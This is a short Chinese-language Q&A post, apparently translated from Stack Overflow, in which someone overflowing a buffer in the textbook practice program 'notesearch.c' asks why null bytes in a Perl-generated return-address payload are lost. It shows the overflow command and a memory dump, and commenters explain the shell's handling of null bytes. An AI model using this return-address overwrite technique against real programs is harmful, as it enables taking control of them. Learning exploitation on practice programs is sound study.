【发布时间】:2015-08-05 15:53:45
【问题描述】:
我正在尝试将命令行参数传递给程序“notesearch.c”,以便溢出缓冲区并使用以下命令以小端格式将返回地址重写为 0x00007fff9e89b2e7:
./notesearch $(perl -e 'print "\xe7\xb2\x89\x9e\xff\x7f\x00\x00" x 20')
但是,存储在 argv[1] 的值是:
0x7fff9cd441cc: 0xe7 0xb2 0x89 0x9e 0xff 0x7f 0xe7 0xb2
0x7fff9cd441d4: 0x89 0x9e 0xff 0x7f 0xe7 0xb2 0x89 0x9e
0x7fff9cd441dc: 0xff 0x7f 0xe7 0xb2 0x89 0x9e 0xff 0x7f ......
不存储零!所以实际的 64 位覆盖的返回地址可以是非零十六进制数字的任何排列。 我如何存储零?
【问题讨论】:
-
参数在被
perl处理之前通过shell。 -
这行得通:
hexdump -C < <(perl -e 'print "\x00\x00" x 20'),但这行不通:hexdump -C <<< "$(perl -e 'print "\x00\x00" x 20')"
标签: perl stack-overflow